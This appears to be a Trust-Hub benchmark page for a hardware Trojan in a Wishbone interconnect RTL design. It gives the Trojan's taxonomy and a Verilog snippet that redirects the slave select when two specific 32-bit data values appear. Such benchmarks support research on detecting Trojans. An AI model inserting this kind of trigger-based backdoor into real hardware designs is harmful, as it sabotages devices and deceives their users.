

wb_conmax-T300

🔑 Trojan description

- 🔑 The Trojan inserted in the master interface changes the destination slave under a specific combination of data input of the master and input data from slave number 0.

🔑 Trojan taxonomy

- 🔑 Insertion phase: Design
- 🔑 Abstraction level: register transfer level
- 🔑 Activation mechanism: Internally conditionally triggered
- 🔑 Effects: Change Functionality, Denial of Service
- 🔑 Location: I/O
- 🔑 Physical characteristics: Functional

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```
// Trojan
always @(wb_addr_i)
if ( (wb_data_i == 32'b00101010111110101011110011100000) &&
      (s0_data_i == 32'b00011110010101010101001010101100) )
    slv_sel = wb_addr_i[aw-1:aw-4] ^ 4'b1111;
else
    slv_sel = wb_addr_i[aw-1:aw-4];
```

Please send your concerns/questions to

Dr. Hassan Salmani at SalmaniHSN@gmail.com

Administrator at admin@trust-hub.com